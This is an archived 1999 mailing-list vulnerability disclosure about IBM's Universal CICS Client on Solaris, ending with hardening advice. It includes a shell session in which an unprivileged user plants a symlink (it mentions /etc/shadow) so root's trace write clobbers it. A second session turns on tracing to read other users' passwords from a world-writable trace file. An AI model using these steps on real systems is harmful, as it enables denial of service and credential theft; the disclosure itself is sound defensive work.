I have recently had the opportunity to work with the latest release of IBM's Universal CICS Client (3.02) on Solaris 2.6 and I've found what I believe to be a rather serious security issue (or two). I have been working with IBM for several weeks and I have had limited success in convincing them that this problem constitutes a serious exposure. Perhaps the members of the list can provide feedback as to whether the behavior I've found is perceived to be truly problematic. BACKGROUND: The CICS client is a set of gateways and APIs (one is Java based, another IPC) that allows user programs on non-CICS platforms to communicate to CICS applications. Uses for the product include building bridges between midrange applications (including WWW application servers) and CICS-based transactional systems. IBM recently developed and released an updated version of the software that removed a reliance on DCE for communications and also promised significant performance improvements. PROBLEM(S): I first noticed a problem when paging through the postinstall script, mkcicscli. It does the following: ------------------------------- # Make sure cclclnt and cicscli run as root user chmod +s cicscli chmod +s cclclnt [ snip snip snip ] # Create direcotry for variable data - traces, etc. mkdir /var/cicscli > /tmp/null 2>&1 chmod 777 /var/cicscli touch /var/cicscli/shared rm /tmp/null ------------------------------- This struck me as odd. I ran truss on a client session and saw a lot of lstat64() calls with /var/cicscli/shared as an argument. The lstat() man page mentions that the directory to the argument must be searchable but no higher permissions are necessary. I found this behavior to be somewhat odd, given that no data ever seems to populate into /var/cicscli/shared and moved on with my testing. Eventually, I had reason to test out the trace facility of the client (switched on by running "cicscli /d"). This created a file called CICSCLI.TRC in /var/cicscli/shared. That, of course, set the wheels in motion. I wondered if the controller program (cclclnt), which runs setuid root thanks to the permissions set up above, checked to see whether the target file already existed before it was created. Alas, it did not. This led to the now-familiar DoS. I made sure that the following could be executed by a non-privileged user: ------------------------------- bash$ id uid=8888(nonpriv) gid=10(staff) bash$ ls -dl `which cicscli` /var/cicscli -rwsr-xr-x 1 root sys 15956 Dec 8 21:02 /opt/ctg/bin/cicscli drwxrwxrwx 2 root other 512 Jan 19 14:53 /var/cicscli bash$ ls /var/cicscli CICSCLI.TRC shared bash$ rm -f /var/cicscli/CICSCLI.TRC bash$ ln -s /tmp/foobar /var/cicscli/CICSCLI.TRC [ at some point, someone executes "cicscli /d"] bash$ ls -l /tmp/foobar -rw-rw-rw- 1 nonpriv staff 18747 Jan 19 15:00 /tmp/foobar bash$ head /tmp/foobar 01/19/99 15:00:17.914 [2047] CCL2039 **** CICS Client for Solaris v3.0 Service Level 02 - Service Trace Begins **** 01/19/99 15:00:17.954 [2051] CCL2048 Maximum trace data size set to 112 01/19/99 15:00:17.961 [2031] CCL2023 Client Response (SessId=000068E2, Slot=0, ReqRc=0, AppRc=0) 01/19/99 15:00:26.373 [2034] CCL2026 Server List request (SessId=000068E3, Space=70) 01/19/99 15:00:26.379 [2031] CCL2023 Client Response (SessId=000068E3, Slot=5, ReqRc=0, AppRc=2) 3e270 4349435351413031 0044434941205141 CICSREGN.DCIA QA ................ 3e280 2020203100000000 0000000000000000 1............ ................ 3e290 0000000000000000 0000000000000000 ................ ................ 3e2a0 0000000000000000 0000000000000000 ................ ................ 3e2b0 000000000000 ...... ...... ------------------------------- Needless to say, had I created the symbolic link to /etc/shadow instead of /tmp/foobar, all sort of nuisances for the sysadmin (me) would have ensued. Note also that the resulting CICSLI.TRC file is, for some reason, created world-readable and world-writable. I tried to set umask permissions prior to starting up the CICS client, but the 666 setting for CICSCLI.TRC seems to be hard-coded into the source. I thought I might be able to fix the problem by setting /var/cicscli to permissions 0700, thus denying unprivileged users the possibility of meddling with the CICSCLI.TRC file. I had asked IBM whether /var/cicscli needed to be mode 777 and the response was: "Regarding the world writeable directory : If the customer wishes they could change the permissions of the world writeable directory so that trace files could not be viewed by eveyone." The lowest setting I was able to enforce without completely shutting off access to non-root users due to the lstat64() constraint was to set /var/cicscli to 0711. This step protected me from the above denial of service, though it remained unclear what detriment it may also cause at the same time. As root, I was able to start and stop the client, and I was able to run cicsterm (a CICS terminal emulator that runs on top of the Universal Client) successfully. I then decided to see what would happen if I removed the setuid bits from cicscli and cclclnt. IBM had previously explained the default permissions with: "The reason the Unix clients install with the sticky [sic] bit on is so that different userids can run the client code, which then acts with the authority of root. It then has authority to clean up resourses created under any userid." I questioned why all userids on a given machine should be given privilege to control the client code - they should be able to run things such as cicsterm and communicate, via IPC or sockets, to the CICS client, but I couldn't think of a situation where userid nobody, for instance, should be able to stop the client or to request a connection to a new CICS region. Regardless, based on the information above, I would have expected not to be able to start, stop, or in any way affect the client in this configuration (non-privileged uid, setuid bits removed). That seemed not to be the case. In my experience, cicscli did not need to be setuid root at all - I was still able to do everything I asked as an unprivileged user even with the suid bit removed. As far as I can tell (with the naked, untrained eye), no cleanup problems ensued. I should say, to IBM's credit, that I was unable to make the setuid program segmentation fault by passing it large amounts of random data. Bounds checking seems to have been performed properly in many of the likely locations for problems and error messages complaining about parameter lengths were always returned. I will not go so far as to say that it is impossible to overrun buffers - I have not had the time to try out every possible permutation of command-line parameter and corresponding input length. That said, the problem that seems more grievous than the DoS described above is that by allowing an unprivileged user to turn tracing on, he can then view the interactions of all users running through the CICS client, exposing userids, passwords, and other data being passed between client and server. To wit... ----------------------------- bash$ ls -dl `which cicscli` /var/cicscli -rwx--x--x 1 root sys 15956 Dec 8 21:02 /opt/ctg/bin/cicscli drwx--x--x 2 root other 512 Jan 19 14:53 /var/cicscli bash$ cicscli /d CCL8001I CICSCLI - CICS Client Control Program CCL0002I (C) Copyright IBM Corporation 1994,1998. All rights reserved. CCL8026I Client trace is enabled bash$ cat /var/cicscli/CICSCLI.TRC 01/19/99 14:53:37.694 [3238] CCL3237 Comms Close completed (LinkId=1, Rc=0) 01/19/99 14:53:37.789 [3233] CCL3248 Comms Unload request (Driver=CCLIBMIP) 01/19/99 14:53:37.809 [3234] CCL3234 Comms Unload completed (Driver=CCLIBMIP, Rc=0) 01/19/99 14:53:37.830 [3233] CCL3248 Comms Unload request (Driver=CCLIBMIP) 01/19/99 14:53:37.850 [3234] CCL3234 Comms Unload completed (Driver=CCLIBMIP, Rc=0) 01/19/99 14:53:37.860 [2048] CCL2040 Service Trace Disable request (SessId=00000001) 01/19/99 14:53:37.869 [2049] CCL2041 ***** CICS Client for Solaris - Service Trace Ends ***** 01/19/99 14:55:07.171 [2047] CCL2039 **** CICS Client for Solaris v3.0 Service Level 02 - Service Trace Begins **** 01/19/99 14:55:07.182 [2051] CCL2048 Maximum trace data size set to 112 01/19/99 14:55:07.188 [2031] CCL2023 Client Response (SessId=000068AA, Slot=0, ReqRc=0, AppRc=0) 01/19/99 14:55:14.277 [2034] CCL2026 Server List request (SessId=000068AB, Space=70) 01/19/99 14:55:14.284 [2031] CCL2023 Client Response (SessId=000068AB, Slot=5, ReqRc=0, AppRc=2) [ ... chop chop chop ... ] 01/19/99 14:55:25.976 [3246] CCL3241 Comms Send completed (ConvId=1, Rc=0) 01/19/99 14:55:26.001 [3247] CCL3254 Comms Wait request (ConvId=1) 01/19/99 14:55:26.032 [4410] CCL4411 TCP/IP (to CICSREGN) send data: Length=37 4e270 0000002500000001 00039020001912F2 ...%....... .... ...............2 4e280 0643800000001003 271104047F140301 .C......'....... ............"... 4e290 040005FFE0 ..... ....\ 01/19/99 14:55:26.056 [3248] CCL3243 Comms Wait completed (ConvId=1, Rc=0) 01/19/99 14:55:26.087 [4411] CCL4412 TCP/IP (to CICSREGN) receive data: Length=12 3d458 000000E600000001 00039001 ............ ...W........ 01/19/99 14:55:26.119 [4409] CCL4412 TCP/IP (to CICSREGN) receive data: Length=218 4e27c 00DA12F206438000 010001000B000500 .....C.......... ...2............ 4e28c 00410000001E06C3 C5E2D50200060000 .A.............. .......CESN..... 4e29c 001003271104047F 140300160A000000 ...'............ ......."........ 4e2ac 00000000001F0300 04006F3142112020 ..........o1B. ..........?..... 4e2bc 1311202013112B2B 10024235C02F424C .. ..++..B5./BL ............{..< 4e2cc 4148424C41481121 3B10024235C02542 AHBLAH.!;..B5.%B ...<.........{.. 4e2dc 4C4148424C414811 4A22132020202020 LAHBLAH.J". <...<...[....... 01/19/99 14:55:26.133 [2057] CCL2058 Incoming conversation data (ConvId=1) 01/19/99 14:55:26.284 [3249] CCL3244 Comms Receive request (ConvId=1) 01/19/99 14:55:26.310 [3255] CCL3256 Comms Receive completed (last): Length=218 (ConvId=1, Reason=0, Rc=0) 4e27c 00DA12F206438000 010001000B000500 .....C.......... ...2............ ----------------------------- Note that my userid and password (I used "blahblah" and "blahblah") are displayed proudly in the tracefile. Now I was led back to the requirement for lstat64(/var/cicscli/shared). In order for this work for non-root users, /var/cicscli had to at least grant those users execute permissions. Earlier, I had determined that /var/cicscli/CICSCLI.TRC was being created with mode 666 (ironic on so many levels). This, combined with execute permissions being required for /var/cicscli, means that any user on the system can effectively monitor passwords and other ECI commarea data being transmitted without ever having read access to /var/cicscli itself. RECOMMENDATIONS: The Universal Client ships with default permissions that seem to be far too promiscuous. It seems to me that the following steps need to be taken to keep non-privileged users from abusing the universal client and either denying service (by stopping the client or by symbolically linking "over" valuable system files) or grabbing passwords: chmod 0700 /opt/ctg/cclclnt /opt/ctg/cicscli chmod 0711 /var/cicscli The first removes the setuid bit as well as execute authority from all but the root user. The former is useless without the latter anyway. Access to run the cicscli program can be controlled by something like sudo (or whatever means your site has of controlling root). The second makes it so /var/cicsli can not be written (we don't want users setting up symlinks that get followed by root). In this configuration, all CICS client functions have continued to execute properly on our test systems. The only known exposure that remains is a race condition where the root user decides to turn on trace and a nonprivileged user may be able to watch the CICSCLI.TRC file until root chmod-s that file to 600. Erick. _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:31:37 PDT